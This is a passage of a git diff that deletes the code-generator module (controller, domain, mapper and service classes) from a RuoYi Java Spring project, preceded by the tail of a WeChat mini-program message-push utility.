m.put("thing2", new TemplateDataVo(keywords[0])); - m.put("thing3", new TemplateDataVo(keywords[1])); - m.put("time4", new TemplateDataVo(keywords[2])); - m.put("amount6", new TemplateDataVo(keywords[3])); - m.put("thing5", new TemplateDataVo(keywords[4])); - wxMssVo.setData(m); - } - if (restTemplate == null) { - restTemplate = new RestTemplate(); - } - System.out.println("小程序data信息={}"+ JSON.toJSONString(wxMssVo)); - HttpHeaders headers = new HttpHeaders(); - //设置编码 不设置转码 可能会出现 乱码问题 - MediaType types = MediaType.parseMediaType("application/json; charset=UTF-8"); - // 请勿轻易改变此提交方式,大部分的情况下,提交方式都是表单提交 - headers.setContentType(types); - headers.add("Accept", MediaType.APPLICATION_JSON.toString()); - if (restTemplate == null) { - restTemplate = new RestTemplate(); - } - String string = JSONObject.toJSONString(wxMssVo); - HttpEntity requestEntity = new HttpEntity(string, headers); - ResponseEntity responseEntity = restTemplate.postForEntity(url, requestEntity, String.class); - System.out.println("小程序推送结果={}"+ responseEntity.getBody()); - msg = responseEntity.getBody(); - }catch (Exception e){ - e.printStackTrace(); - } - return msg; - } - public static String getAccess_token() { - - String url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential" + - "&appid=" + appid + "&secret=" + appSecret; - if (restTemplate == null) { - restTemplate = new RestTemplate(); - } - restTemplate.getMessageConverters().set(1,new StringHttpMessageConverter(StandardCharsets.UTF_8)); - String json = restTemplate.getForObject(url, String.class); - JSONObject myJson = JSONObject.parseObject(json); - return myJson.get("access_token").toString(); - } - - public static void main(String[] args) { - try { - - System.out.println(getAccess_token()); - String values[] = {"智能电表001", "30.56", "您的电费已不足,请及时充值!"}; - - pushOneUser(getAccess_token() - , "xxx", "1", "xxx" - , values); - } catch (Exception e) { - e.printStackTrace(); - } - - } -} - - - - - - diff --git a/ruoyi-generator/pom.xml b/ruoyi-generator/pom.xml deleted file mode 100644 index f7b06a9..0000000 --- a/ruoyi-generator/pom.xml +++ /dev/null @@ -1,40 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - ruoyi-generator - - - generator代码生成 - - - - - - - org.apache.velocity - velocity - - - - - commons-collections - commons-collections - - - - - com.ruoyi - ruoyi-common - - - - - \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java deleted file mode 100644 index cc4cd14..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.ruoyi.generator.config; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.context.annotation.PropertySource; -import org.springframework.stereotype.Component; - -/** - * 读取代码生成相关配置 - * - * @author ruoyi - */ -@Component -@ConfigurationProperties(prefix = "gen") -@PropertySource(value = { "classpath:generator.yml" }) -public class GenConfig -{ - /** 作者 */ - public static String author; - - /** 生成包路径 */ - public static String packageName; - - /** 自动去除表前缀,默认是false */ - public static boolean autoRemovePre; - - /** 表前缀(类名不会包含表前缀) */ - public static String tablePrefix; - - public static String getAuthor() - { - return author; - } - - @Value("${author}") - public void setAuthor(String author) - { - GenConfig.author = author; - } - - public static String getPackageName() - { - return packageName; - } - - @Value("${packageName}") - public void setPackageName(String packageName) - { - GenConfig.packageName = packageName; - } - - public static boolean getAutoRemovePre() - { - return autoRemovePre; - } - - @Value("${autoRemovePre}") - public void setAutoRemovePre(boolean autoRemovePre) - { - GenConfig.autoRemovePre = autoRemovePre; - } - - public static String getTablePrefix() - { - return tablePrefix; - } - - @Value("${tablePrefix}") - public void setTablePrefix(String tablePrefix) - { - GenConfig.tablePrefix = tablePrefix; - } -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java deleted file mode 100644 index f7bdd06..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java +++ /dev/null @@ -1,214 +0,0 @@ -package com.ruoyi.generator.controller; - -import java.io.IOException; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import javax.servlet.http.HttpServletResponse; -import org.apache.commons.io.IOUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.page.TableDataInfo; -import com.ruoyi.common.core.text.Convert; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.generator.domain.GenTable; -import com.ruoyi.generator.domain.GenTableColumn; -import com.ruoyi.generator.service.IGenTableColumnService; -import com.ruoyi.generator.service.IGenTableService; - -/** - * 代码生成 操作处理 - * - * @author ruoyi - */ -@RestController -@RequestMapping("/tool/gen") -public class GenController extends BaseController -{ - @Autowired - private IGenTableService genTableService; - - @Autowired - private IGenTableColumnService genTableColumnService; - - /** - * 查询代码生成列表 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:list')") - @GetMapping("/list") - public TableDataInfo genList(GenTable genTable) - { - startPage(); - List list = genTableService.selectGenTableList(genTable); - return getDataTable(list); - } - - /** - * 修改代码生成业务 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:query')") - @GetMapping(value = "/{talbleId}") - public AjaxResult getInfo(@PathVariable Long talbleId) - { - GenTable table = genTableService.selectGenTableById(talbleId); - List tables = genTableService.selectGenTableAll(); - List list = genTableColumnService.selectGenTableColumnListByTableId(talbleId); - Map map = new HashMap(); - map.put("info", table); - map.put("rows", list); - map.put("tables", tables); - return AjaxResult.success(map); - } - - /** - * 查询数据库列表 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:list')") - @GetMapping("/db/list") - public TableDataInfo dataList(GenTable genTable) - { - startPage(); - List list = genTableService.selectDbTableList(genTable); - return getDataTable(list); - } - - /** - * 查询数据表字段列表 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:list')") - @GetMapping(value = "/column/{talbleId}") - public TableDataInfo columnList(Long tableId) - { - TableDataInfo dataInfo = new TableDataInfo(); - List list = genTableColumnService.selectGenTableColumnListByTableId(tableId); - dataInfo.setRows(list); - dataInfo.setTotal(list.size()); - return dataInfo; - } - - /** - * 导入表结构(保存) - */ - @PreAuthorize("@ss.hasPermi('tool:gen:list')") - @Log(title = "代码生成", businessType = BusinessType.IMPORT) - @PostMapping("/importTable") - public AjaxResult importTableSave(String tables) - { - String[] tableNames = Convert.toStrArray(tables); - // 查询表信息 - List tableList = genTableService.selectDbTableListByNames(tableNames); - genTableService.importGenTable(tableList); - return AjaxResult.success(); - } - - /** - * 修改保存代码生成业务 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:edit')") - @Log(title = "代码生成", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult editSave(@Validated @RequestBody GenTable genTable) - { - genTableService.validateEdit(genTable); - genTableService.updateGenTable(genTable); - return AjaxResult.success(); - } - - /** - * 删除代码生成 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:remove')") - @Log(title = "代码生成", businessType = BusinessType.DELETE) - @DeleteMapping("/{tableIds}") - public AjaxResult remove(@PathVariable Long[] tableIds) - { - genTableService.deleteGenTableByIds(tableIds); - return AjaxResult.success(); - } - - /** - * 预览代码 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:preview')") - @GetMapping("/preview/{tableId}") - public AjaxResult preview(@PathVariable("tableId") Long tableId) throws IOException - { - Map dataMap = genTableService.previewCode(tableId); - return AjaxResult.success(dataMap); - } - - /** - * 生成代码(下载方式) - */ - @PreAuthorize("@ss.hasPermi('tool:gen:code')") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/download/{tableName}") - public void download(HttpServletResponse response, @PathVariable("tableName") String tableName) throws IOException - { - byte[] data = genTableService.downloadCode(tableName); - genCode(response, data); - } - - /** - * 生成代码(自定义路径) - */ - @PreAuthorize("@ss.hasPermi('tool:gen:code')") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/genCode/{tableName}") - public AjaxResult genCode(@PathVariable("tableName") String tableName) - { - genTableService.generatorCode(tableName); - return AjaxResult.success(); - } - - /** - * 同步数据库 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:edit')") - @Log(title = "代码生成", businessType = BusinessType.UPDATE) - @GetMapping("/synchDb/{tableName}") - public AjaxResult synchDb(@PathVariable("tableName") String tableName) - { - genTableService.synchDb(tableName); - return AjaxResult.success(); - } - - /** - * 批量生成代码 - */ - @PreAuthorize("@ss.hasPermi('tool:gen:code')") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/batchGenCode") - public void batchGenCode(HttpServletResponse response, String tables) throws IOException - { - String[] tableNames = Convert.toStrArray(tables); - byte[] data = genTableService.downloadCode(tableNames); - genCode(response, data); - } - - /** - * 生成zip文件 - */ - private void genCode(HttpServletResponse response, byte[] data) throws IOException - { - response.reset(); - response.addHeader("Access-Control-Allow-Origin", "*"); - response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); - response.setHeader("Content-Disposition", "attachment; filename=\"codes.zip\""); - response.addHeader("Content-Length", "" + data.length); - response.setContentType("application/octet-stream; charset=UTF-8"); - IOUtils.write(data, response.getOutputStream()); - } -} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java deleted file mode 100644 index fdf0bfa..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java +++ /dev/null @@ -1,387 +0,0 @@ -package com.ruoyi.generator.domain; - -import java.util.List; -import javax.validation.Valid; -import javax.validation.constraints.NotBlank; -import org.apache.commons.lang3.ArrayUtils; -import com.ruoyi.common.constant.GenConstants; -import com.ruoyi.common.core.domain.BaseEntity; -import com.ruoyi.common.utils.StringUtils; - -/** - * 业务表 gen_table - * - * @author ruoyi - */ -public class GenTable extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 编号 */ - private Long tableId; - - /** 表名称 */ - @NotBlank(message = "表名称不能为空") - private String tableName; - - /** 表描述 */ - @NotBlank(message = "表描述不能为空") - private String tableComment; - - /** 关联父表的表名 */ - private String subTableName; - - /** 本表关联父表的外键名 */ - private String subTableFkName; - - /** 实体类名称(首字母大写) */ - @NotBlank(message = "实体类名称不能为空") - private String className; - - /** 使用的模板(crud单表操作 tree树表操作 sub主子表操作) */ - private String tplCategory; - - /** 生成包路径 */ - @NotBlank(message = "生成包路径不能为空") - private String packageName; - - /** 生成模块名 */ - @NotBlank(message = "生成模块名不能为空") - private String moduleName; - - /** 生成业务名 */ - @NotBlank(message = "生成业务名不能为空") - private String businessName; - - /** 生成功能名 */ - @NotBlank(message = "生成功能名不能为空") - private String functionName; - - /** 生成作者 */ - @NotBlank(message = "作者不能为空") - private String functionAuthor; - - /** 生成代码方式(0zip压缩包 1自定义路径) */ - private String genType; - - /** 生成路径(不填默认项目路径) */ - private String genPath; - - /** 主键信息 */ - private GenTableColumn pkColumn; - - /** 子表信息 */ - private GenTable subTable; - - /** 表列信息 */ - @Valid - private List columns; - - /** 其它生成选项 */ - private String options; - - /** 树编码字段 */ - private String treeCode; - - /** 树父编码字段 */ - private String treeParentCode; - - /** 树名称字段 */ - private String treeName; - - /** 上级菜单ID字段 */ - private String parentMenuId; - - /** 上级菜单名称字段 */ - private String parentMenuName; - /** - * 是否存在字段关联表 - */ - private Integer columnTableGl; - - public Integer getColumnTableGl() { - return columnTableGl; - } - - public void setColumnTableGl(Integer columnTableGl) { - this.columnTableGl = columnTableGl; - } - - public Long getTableId() - { - return tableId; - } - - public void setTableId(Long tableId) - { - this.tableId = tableId; - } - - public String getTableName() - { - return tableName; - } - - public void setTableName(String tableName) - { - this.tableName = tableName; - } - - public String getTableComment() - { - return tableComment; - } - - public void setTableComment(String tableComment) - { - this.tableComment = tableComment; - } - - public String getSubTableName() - { - return subTableName; - } - - public void setSubTableName(String subTableName) - { - this.subTableName = subTableName; - } - - public String getSubTableFkName() - { - return subTableFkName; - } - - public void setSubTableFkName(String subTableFkName) - { - this.subTableFkName = subTableFkName; - } - - public String getClassName() - { - return className; - } - - public void setClassName(String className) - { - this.className = className; - } - - public String getTplCategory() - { - return tplCategory; - } - public String getCapClassName() - { - return StringUtils.capitalize(className); - } - public void setTplCategory(String tplCategory) - { - this.tplCategory = tplCategory; - } - - public String getPackageName() - { - return packageName; - } - - public void setPackageName(String packageName) - { - this.packageName = packageName; - } - - public String getModuleName() - { - return moduleName; - } - - public void setModuleName(String moduleName) - { - this.moduleName = moduleName; - } - - public String getBusinessName() - { - return businessName; - } - - public void setBusinessName(String businessName) - { - this.businessName = businessName; - } - - public String getFunctionName() - { - return functionName; - } - - public void setFunctionName(String functionName) - { - this.functionName = functionName; - } - - public String getFunctionAuthor() - { - return functionAuthor; - } - - public void setFunctionAuthor(String functionAuthor) - { - this.functionAuthor = functionAuthor; - } - - public String getGenType() - { - return genType; - } - - public void setGenType(String genType) - { - this.genType = genType; - } - - public String getGenPath() - { - return genPath; - } - - public void setGenPath(String genPath) - { - this.genPath = genPath; - } - - public GenTableColumn getPkColumn() - { - return pkColumn; - } - - public void setPkColumn(GenTableColumn pkColumn) - { - this.pkColumn = pkColumn; - } - - public GenTable getSubTable() - { - return subTable; - } - - public void setSubTable(GenTable subTable) - { - this.subTable = subTable; - } - - public List getColumns() - { - return columns; - } - - public void setColumns(List columns) - { - this.columns = columns; - } - - public String getOptions() - { - return options; - } - - public void setOptions(String options) - { - this.options = options; - } - - public String getTreeCode() - { - return treeCode; - } - - public void setTreeCode(String treeCode) - { - this.treeCode = treeCode; - } - - public String getTreeParentCode() - { - return treeParentCode; - } - - public void setTreeParentCode(String treeParentCode) - { - this.treeParentCode = treeParentCode; - } - - public String getTreeName() - { - return treeName; - } - - public void setTreeName(String treeName) - { - this.treeName = treeName; - } - - public String getParentMenuId() - { - return parentMenuId; - } - - public void setParentMenuId(String parentMenuId) - { - this.parentMenuId = parentMenuId; - } - - public String getParentMenuName() - { - return parentMenuName; - } - - public void setParentMenuName(String parentMenuName) - { - this.parentMenuName = parentMenuName; - } - - public boolean isSub() - { - return isSub(this.tplCategory); - } - - public static boolean isSub(String tplCategory) - { - return tplCategory != null && StringUtils.equals(GenConstants.TPL_SUB, tplCategory); - } - - public boolean isTree() - { - return isTree(this.tplCategory); - } - - public static boolean isTree(String tplCategory) - { - return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory); - } - - public boolean isCrud() - { - return isCrud(this.tplCategory); - } - - public static boolean isCrud(String tplCategory) - { - return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory); - } - - public boolean isSuperColumn(String javaField) - { - return isSuperColumn(this.tplCategory, javaField); - } - - public static boolean isSuperColumn(String tplCategory, String javaField) - { - if (isTree(tplCategory)) - { - return StringUtils.equalsAnyIgnoreCase(javaField, - ArrayUtils.addAll(GenConstants.TREE_ENTITY, GenConstants.BASE_ENTITY)); - } - return StringUtils.equalsAnyIgnoreCase(javaField, GenConstants.BASE_ENTITY); - } -} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java deleted file mode 100644 index 1ce4803..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java +++ /dev/null @@ -1,449 +0,0 @@ -package com.ruoyi.generator.domain; - -import com.ruoyi.common.core.domain.BaseEntity; -import com.ruoyi.common.utils.StringUtils; - -/** - * 代码生成业务字段表 gen_table_column - * - * @author ruoyi - */ -public class GenTableColumn extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 编号 */ - private Long columnId; - - /** 归属表编号 */ - private Long tableId; - - /** 列名称 */ - private String columnName; - - /** 列描述 */ - private String columnComment; - - /** 列类型 */ - private String columnType; - - /** JAVA类型 */ - private String javaType; - - /** JAVA字段名 */ - private String javaField; - - /** 是否主键(1是) */ - private String isPk; - - /** 是否自增(1是) */ - private String isIncrement; - - /** 是否必填(1是) */ - private String isRequired; - - /** 是否为插入字段(1是) */ - private String isInsert; - - /** 是否编辑字段(1是) */ - private String isEdit; - - /** 是否列表字段(1是) */ - private String isList; - - /** 是否查询字段(1是) */ - private String isQuery; - - /** 查询方式(EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围) */ - private String queryType; - - /** 显示类型(input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、image图片上传控件、upload文件上传控件、editor富文本控件) */ - private String htmlType; - - /** 字典类型 */ - private String dictType; - - /** 排序 */ - private Integer sort; - - - private String goType; - - private Boolean isTable; - - private Integer tableLast; - - private String tableName; - - private String businessName; - - private String className; - - private String moduleName; - - public String getModuleName() { - return moduleName; - } - - public void setModuleName( String moduleName) { - this.moduleName = moduleName; - } - - public Integer getTableLast() { - return tableLast; - } - - public void setTableLast(Integer tableLast) { - this.tableLast = tableLast; - } - - public String getClassName() { - return className; - } - - public void setClassName( String className) { - this.className = className; - } - - public String getBusinessName() { - return businessName; - } - - public void setBusinessName( String businessName) { - this.businessName = businessName; - } - public String getCapClassName() - { - return StringUtils.capitalize(className); - } - public String getCapBusinessName() - { - return StringUtils.capitalize(businessName); - } - public Boolean getTable() { - return isTable; - } - - public void setTable(Boolean table) { - isTable = table; - } - - public String getTableName() { - return tableName; - } - - public void setTableName(String tableName) { - this.tableName = tableName; - } - - public String getGoType() { - return goType; - } - - public void setGoType(String goType) { - this.goType = goType; - } - - public void setColumnId(Long columnId) - { - this.columnId = columnId; - } - - public Long getColumnId() - { - return columnId; - } - - public void setTableId(Long tableId) - { - this.tableId = tableId; - } - - public Long getTableId() - { - return tableId; - } - - public void setColumnName(String columnName) - { - this.columnName = columnName; - } - - public String getColumnName() - { - return columnName; - } - - public void setColumnComment(String columnComment) - { - this.columnComment = columnComment; - } - - public String getColumnComment() - { - return columnComment; - } - - public void setColumnType(String columnType) - { - this.columnType = columnType; - } - - public String getColumnType() - { - return columnType; - } - - public void setJavaType(String javaType) - { - this.javaType = javaType; - } - - public String getJavaType() - { - return javaType; - } - - public void setJavaField(String javaField) - { - this.javaField = javaField; - } - - public String getJavaField() - { - return javaField; - } - - public String getCapJavaField() - { - return StringUtils.capitalize(javaField); - } - - public void setIsPk(String isPk) - { - this.isPk = isPk; - } - - public String getIsPk() - { - return isPk; - } - - public boolean isPk() - { - return isPk(this.isPk); - } - - public boolean isPk(String isPk) - { - return isPk != null && StringUtils.equals("1", isPk); - } - - public String getIsIncrement() - { - return isIncrement; - } - - public void setIsIncrement(String isIncrement) - { - this.isIncrement = isIncrement; - } - - public boolean isIncrement() - { - return isIncrement(this.isIncrement); - } - - public boolean isIncrement(String isIncrement) - { - return isIncrement != null && StringUtils.equals("1", isIncrement); - } - - public void setIsRequired(String isRequired) - { - this.isRequired = isRequired; - } - - public String getIsRequired() - { - return isRequired; - } - - public boolean isRequired() - { - return isRequired(this.isRequired); - } - - public boolean isRequired(String isRequired) - { - return isRequired != null && StringUtils.equals("1", isRequired); - } - - public void setIsInsert(String isInsert) - { - this.isInsert = isInsert; - } - - public String getIsInsert() - { - return isInsert; - } - - public boolean isInsert() - { - return isInsert(this.isInsert); - } - - public boolean isInsert(String isInsert) - { - return isInsert != null && StringUtils.equals("1", isInsert); - } - - public void setIsEdit(String isEdit) - { - this.isEdit = isEdit; - } - - public String getIsEdit() - { - return isEdit; - } - - public boolean isEdit() - { - return isInsert(this.isEdit); - } - - public boolean isEdit(String isEdit) - { - return isEdit != null && StringUtils.equals("1", isEdit); - } - - public void setIsList(String isList) - { - this.isList = isList; - } - - public String getIsList() - { - return isList; - } - - public boolean isList() - { - return isList(this.isList); - } - - public boolean isList(String isList) - { - return isList != null && StringUtils.equals("1", isList); - } - - public void setIsQuery(String isQuery) - { - this.isQuery = isQuery; - } - - public String getIsQuery() - { - return isQuery; - } - - public boolean isQuery() - { - return isQuery(this.isQuery); - } - - public boolean isQuery(String isQuery) - { - return isQuery != null && StringUtils.equals("1", isQuery); - } - - public void setQueryType(String queryType) - { - this.queryType = queryType; - } - - public String getQueryType() - { - return queryType; - } - - public String getHtmlType() - { - return htmlType; - } - - public void setHtmlType(String htmlType) - { - this.htmlType = htmlType; - } - - public void setDictType(String dictType) - { - this.dictType = dictType; - } - - public String getDictType() - { - return dictType; - } - - public void setSort(Integer sort) - { - this.sort = sort; - } - - public Integer getSort() - { - return sort; - } - - public boolean isSuperColumn() - { - return isSuperColumn(this.javaField); - } - - public static boolean isSuperColumn(String javaField) - { - return StringUtils.equalsAnyIgnoreCase(javaField, - // BaseEntity - "createBy", "createTime", "updateBy", "updateTime", "remark", - // TreeEntity - "parentName", "parentId", "orderNum", "ancestors"); - } - - public boolean isUsableColumn() - { - return isUsableColumn(javaField); - } - - public static boolean isUsableColumn(String javaField) - { - // isSuperColumn()中的名单用于避免生成多余Domain属性,若某些属性在生成页面时需要用到不能忽略,则放在此处白名单 - return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark"); - } - - public String readConverterExp() - { - String remarks = StringUtils.substringBetween(this.columnComment, "(", ")"); - StringBuffer sb = new StringBuffer(); - if (StringUtils.isNotEmpty(remarks)) - { - for (String value : remarks.split(" ")) - { - if (StringUtils.isNotEmpty(value)) - { - Object startStr = value.subSequence(0, 1); - String endStr = value.substring(1); - sb.append("").append(startStr).append("=").append(endStr).append(","); - } - } - return sb.deleteCharAt(sb.length() - 1).toString(); - } - else - { - return this.columnComment; - } - } -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java deleted file mode 100644 index 951e166..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java +++ /dev/null @@ -1,60 +0,0 @@ -package com.ruoyi.generator.mapper; - -import java.util.List; -import com.ruoyi.generator.domain.GenTableColumn; - -/** - * 业务字段 数据层 - * - * @author ruoyi - */ -public interface GenTableColumnMapper -{ - /** - * 根据表名称查询列信息 - * - * @param tableName 表名称 - * @return 列信息 - */ - public List selectDbTableColumnsByName(String tableName); - - /** - * 查询业务字段列表 - * - * @param tableId 业务字段编号 - * @return 业务字段集合 - */ - public List selectGenTableColumnListByTableId(Long tableId); - - /** - * 新增业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - public int insertGenTableColumn(GenTableColumn genTableColumn); - - /** - * 修改业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - public int updateGenTableColumn(GenTableColumn genTableColumn); - - /** - * 删除业务字段 - * - * @param genTableColumns 列数据 - * @return 结果 - */ - public int deleteGenTableColumns(List genTableColumns); - - /** - * 批量删除业务字段 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteGenTableColumnByIds(Long[] ids); -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java deleted file mode 100644 index 9b330df..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java +++ /dev/null @@ -1,83 +0,0 @@ -package com.ruoyi.generator.mapper; - -import java.util.List; -import com.ruoyi.generator.domain.GenTable; - -/** - * 业务 数据层 - * - * @author ruoyi - */ -public interface GenTableMapper -{ - /** - * 查询业务列表 - * - * @param genTable 业务信息 - * @return 业务集合 - */ - public List selectGenTableList(GenTable genTable); - - /** - * 查询据库列表 - * - * @param genTable 业务信息 - * @return 数据库表集合 - */ - public List selectDbTableList(GenTable genTable); - - /** - * 查询据库列表 - * - * @param tableNames 表名称组 - * @return 数据库表集合 - */ - public List selectDbTableListByNames(String[] tableNames); - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - public List selectGenTableAll(); - - /** - * 查询表ID业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - public GenTable selectGenTableById(Long id); - - /** - * 查询表名称业务信息 - * - * @param tableName 表名称 - * @return 业务信息 - */ - public GenTable selectGenTableByName(String tableName); - - /** - * 新增业务 - * - * @param genTable 业务信息 - * @return 结果 - */ - public int insertGenTable(GenTable genTable); - - /** - * 修改业务 - * - * @param genTable 业务信息 - * @return 结果 - */ - public int updateGenTable(GenTable genTable); - - /** - * 批量删除业务 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteGenTableByIds(Long[] ids); -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java deleted file mode 100644 index 0679689..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.ruoyi.generator.service; - -import java.util.List; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.common.core.text.Convert; -import com.ruoyi.generator.domain.GenTableColumn; -import com.ruoyi.generator.mapper.GenTableColumnMapper; - -/** - * 业务字段 服务层实现 - * - * @author ruoyi - */ -@Service -public class GenTableColumnServiceImpl implements IGenTableColumnService -{ - @Autowired - private GenTableColumnMapper genTableColumnMapper; - - /** - * 查询业务字段列表 - * - * @param tableId 业务字段编号 - * @return 业务字段集合 - */ - @Override - public List selectGenTableColumnListByTableId(Long tableId) - { - return genTableColumnMapper.selectGenTableColumnListByTableId(tableId); - } - - /** - * 新增业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - @Override - public int insertGenTableColumn(GenTableColumn genTableColumn) - { - return genTableColumnMapper.insertGenTableColumn(genTableColumn); - } - - /** - * 修改业务字段 - * - * @param genTableColumn 业务字段信息 - * @return 结果 - */ - @Override - public int updateGenTableColumn(GenTableColumn genTableColumn) - { - return genTableColumnMapper.updateGenTableColumn(genTableColumn); - } - - /** - * 删除业务字段对象 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - @Override - public int deleteGenTableColumnByIds(String ids) - { - return genTableColumnMapper.deleteGenTableColumnByIds(Convert.toLongArray(ids)); - } -} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java deleted file mode 100644 index 57bf1b5..0000000 --- a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java +++ /dev/null @@ -1,531 +0,0 @@ -package com.ruoyi.generator.service; - -import com.alibaba.fastjson.JSON; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.constant.GenConstants; -import com.ruoyi.common.core.text.CharsetKit; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.file.FileUtils; -import com.ruoyi.generator.domain.GenTable; -import com.ruoyi.generator.domain.GenTableColumn; -import com.ruoyi.generator.mapper.GenTableColumnMapper; -import com.ruoyi.generator.mapper.GenTableMapper; -import com.ruoyi.generator.util.GenUtils; -import com.ruoyi.generator.util.VelocityInitializer; -import com.ruoyi.generator.util.VelocityUtils; -import org.apache.commons.io.IOUtils; -import org.apache.velocity.Template; -import org.apache.velocity.VelocityContext; -import org.apache.velocity.app.Velocity; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.IOException; -import java.io.StringWriter; -import java.util.Arrays; -import java.util.LinkedHashMap; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; -import java.util.zip.ZipEntry; -import java.util.zip.ZipOutputStream; - -/** - * 业务 服务层实现 - * - * @author ruoyi - */ -@Service -public class GenTableServiceImpl implements IGenTableService { - private static final Logger log = LoggerFactory.getLogger(GenTableServiceImpl.class); - - @Autowired - private GenTableMapper genTableMapper; - - @Autowired - private GenTableColumnMapper genTableColumnMapper; - - /** - * 查询业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - @Override - public GenTable selectGenTableById(Long id) { - GenTable genTable = genTableMapper.selectGenTableById(id); - setTableFromOptions(genTable); - return genTable; - } - - /** - * 查询业务列表 - * - * @param genTable 业务信息 - * @return 业务集合 - */ - @Override - public List selectGenTableList(GenTable genTable) { - return genTableMapper.selectGenTableList(genTable); - } - - /** - * 查询据库列表 - * - * @param genTable 业务信息 - * @return 数据库表集合 - */ - @Override - public List selectDbTableList(GenTable genTable) { - return genTableMapper.selectDbTableList(genTable); - } - - /** - * 查询据库列表 - * - * @param tableNames 表名称组 - * @return 数据库表集合 - */ - @Override - public List selectDbTableListByNames(String[] tableNames) { - return genTableMapper.selectDbTableListByNames(tableNames); - } - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - @Override - public List selectGenTableAll() { - return genTableMapper.selectGenTableAll(); - } - - /** - * 修改业务 - * - * @param genTable 业务信息 